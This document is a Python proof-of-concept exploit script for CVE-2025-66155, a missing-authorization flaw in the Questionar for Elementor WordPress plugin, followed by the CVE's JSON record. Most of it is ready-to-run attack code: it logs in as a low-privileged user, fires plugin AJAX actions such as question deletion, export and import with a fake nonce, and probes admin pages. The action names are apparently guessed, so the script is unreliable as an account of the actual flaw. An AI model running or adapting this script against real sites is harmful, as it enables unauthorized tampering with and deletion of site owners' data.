CVE-2025-66155

# CVE-2025-66155 PoC - Questionar for Elementor Missing Authorization # This PoC demonstrates how a low-privileged user can exploit the access control vulnerability import requests import sys from urllib.parse import urljoin def exploit_cve_2025_66155(target_url, username, password): """ Exploit Missing Authorization in Questionar for Elementor plugin (<=1.1.7) """ session = requests.Session() # Step 1: Login as low-privilege user login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Logging in as {username}...") response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Exploit the missing authorization vulnerability # Target the plugin's AJAX endpoint that lacks proper access control ajax_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/questionar/v1/', ] # Common vulnerable actions in the plugin vulnerable_actions = [ 'questionar_save_question', 'questionar_get_questions', 'questionar_delete_question', 'questionar_export_data', 'questionar_import_data', ] print("[*] Attempting to exploit missing authorization...") for endpoint in ajax_endpoints: for action in vulnerable_actions: exploit_data = { 'action': action, 'nonce': 'exploit_without_nonce', # May work if nonce check is missing } exploit_url = urljoin(target_url, endpoint) response = session.post(exploit_url, data=exploit_data, timeout=10) # Check if the request succeeded without proper authorization if response.status_code == 200: if 'success' in response.text or len(response.text) > 0: print(f"[!] Potential vulnerability found at {endpoint} with action {action}") print(f"[+] Response: {response.text[:500]}") # Step 3: Try to access admin functionality admin_endpoints = [ '/wp-admin/admin.php?page=questionar-settings', '/wp-admin/admin.php?page=questionar-questions', ] print("[*] Attempting to access admin functionality without admin privileges...") for admin_url in admin_endpoints: full_url = urljoin(target_url, admin_url) response = session.get(full_url) if response.status_code == 200 and 'questionar' in response.text.lower(): print(f"[!] Access granted to {admin_url} without proper authorization!") return True if __name__ == '__main__': if len(sys.argv) < 4: print("Usage: python cve-2025-66155.py <target_url> <username> <password>") print("Example: python cve-2025-66155.py http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_66155(target, user, pwd)

{"cve": {"id": "CVE-2025-66155", "sourceIdentifier": "[email protected]", "published": "2025-12-31T17:15:49.240", "lastModified": "2026-04-23T15:35:28.760", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove Questionar for Elementor questionar-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Questionar for Elementor: from n/a through <= 1.1.7."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en merkulove Questionar para Elementor permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Questionar para Elementor: desde n/a hasta 1.1.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/questionar-elementor/vulnerability/wordpress-questionar-for-elementor-plugin-1-1-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}